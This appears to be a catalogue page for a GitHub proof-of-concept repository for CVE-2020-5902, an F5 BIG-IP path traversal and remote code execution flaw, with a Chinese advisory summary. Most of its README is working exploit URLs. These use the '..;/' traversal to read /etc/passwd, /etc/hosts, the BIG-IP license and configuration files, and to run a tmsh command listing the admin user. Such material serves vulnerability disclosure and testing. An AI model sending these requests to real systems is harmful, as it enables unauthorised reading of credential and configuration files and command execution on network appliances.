CVE-2020-5902 PoC — F5 BIG-IP 路径遍历漏洞

Source

https://github.com/yassineaboukir/CVE-2020-5902

Associated Vulnerability

Title:F5 BIG-IP 路径遍历漏洞 (CVE-2020-5902)
Description:F5 BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。 F5 BIG-IP中存在路径遍历漏洞。攻击者可利用该漏洞执行任意的系统命令、创建或删除文件，关闭服务/执行任意的Java代码，可能完全入侵系统。以下产品及版本受到影响：F5 BIG-IP 15.1.0版本，15.0.0版本，14.1.0版本至14.1.2版本，13.1.0版本至13.1.3版本，12.1.0版本至12.1.5版本，11.6.1版本至11.6.5版本。

Description

Proof of concept for CVE-2020-5902

Readme

# Summary
In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages. 

Credits: Mikhail Klyuchnikov of Positive Technologies 

# Proof of concept

```
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
```

```
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
```

```
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
```

```
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
```

```
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
```

# DM:
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File Snapshot


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